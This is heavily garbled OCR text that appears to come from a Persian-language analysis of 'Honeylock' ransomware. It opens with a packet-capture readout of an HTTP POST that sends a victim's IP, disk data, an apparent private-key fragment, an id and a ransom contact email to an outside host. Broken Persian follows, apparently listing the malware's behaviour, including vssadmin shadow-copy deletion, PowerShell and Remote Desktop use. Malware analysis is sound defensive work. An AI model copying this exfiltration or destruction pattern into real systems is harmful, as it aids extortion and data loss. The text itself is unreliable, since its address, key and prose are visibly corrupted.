File Data: 1722 bytes

://808.82.69.52/1614CEEECSAAI336ERFFIBBBECAATATDEE11C45037@86A3FATBIICIEE392ECEC

4 HTML Form URL Encoded: application/x-www-form-urlencoded

a

Form item: "Sip" = i’

Key: &ip

Value: bbb

Form item: "disk” = "52"
Key: disk
lue: s

orm item: "key"

"MITEuwIBADANBgkqhkiGowaBAQEFAASCBKUwggShAGEAROTBAQCi 18hS3xupLuE QUxSy/8G
XrcaFCnHEXGUNIzEQuieHCen] MBFWTKY2jscZThiPxxEal2kulCBdoCUhs6AWAIOgymS1E
V3CBhro KEimlolxvabPfu2sy3wkyevgghUzhHQbSHEOXMIEoSFFOBUNETE02VIBrTYx  Jx

Key: key

Form item: "id" =

" ZM2G5CRQRNTHPIZ"

T

Formflitem: "mail® = "Honeylock@protonmail.com®

169wBBAQEFAASCBKUwggShAZEAACTBAQLI18hS3xupLuE QUxSy/86\n XrcaFCnHEXGUNIZEQujeHCcn] MBFWTkY2jscZThiPxoxEalZkulC8doCUhs6AWATOGyms18\NIV3CBhrO k

by
Value: Honeylock@iprotonmail.com

Ll 00l JUw )l POST Cawlgs s 53 45" oo Item =Y« o

gole guaib

] < plo 35 400 Ay Blrio woew (p1] (G950 g (olo (§gd> alS



4 ouruv7 ,ldlay Jdxi g S8 3,158

»\S‘s-w)ﬁ ‘U—Y

olis YV Ko el a3, & 90 OINlYDBG 13l p 5 5l eslizwl bouruv? ,lzsls o8 ()
| firewall o piwm (2,800 Sladhis 03l oGl 45 by e slaanl b bl 1800 a5 sas o

B s 33 Wi oo 03,5 oyt ¥ S

. ES 4234RR1E8 |[EEEE curuw?, 81250208

S8 BLisl S p e Jaoal -YY S0

Sy s gy ¥

& 6 Jilao sitea (i ,2e8 Ul o ot S aies 3515 3929 llilzl ol oyl il
Sle 65k 39, b 5,8 s sl Ky slagisy sl ol 285 plsl Kl ) K
390sm 0 Lal 153l 2l il s allie slagss, 4y e el aslsl 5 55,8 s w2l

Oluidy a5 dsd Sl 0Lkl

sl Jy Gaseis 61> 457 s 95T Sl ool .

Jole pins Sla Sl )i 4 cuns .

ladal 5 pxils a5 59, .

SPAM (sla ik Jlos! .

ladal 3 N sdalive 05,8 Jlad .

wole jguvaidb o €yl 35 w0 a4 glatio doww (3l (seix0 9 (5Ol Gl AulS



T S Jedowi (50,155
Cal 03,8 )l bod &4 15T 85 s 0B L %0 5L 1) lacwge

sebils s ol s sl e .

59559 > Vssadmin [alswja .

593509 Caw Sl 03,5 Jlad e .

Windows PowerShell ¢s " Jles ,.e .

655 gae bS5l osliul .

Ol &9 s L Remote Desktop s 8" Jles e .

)99 > )I).9| f).; Cud9d>xs LSLQ CAML».w szl.bl ol) .
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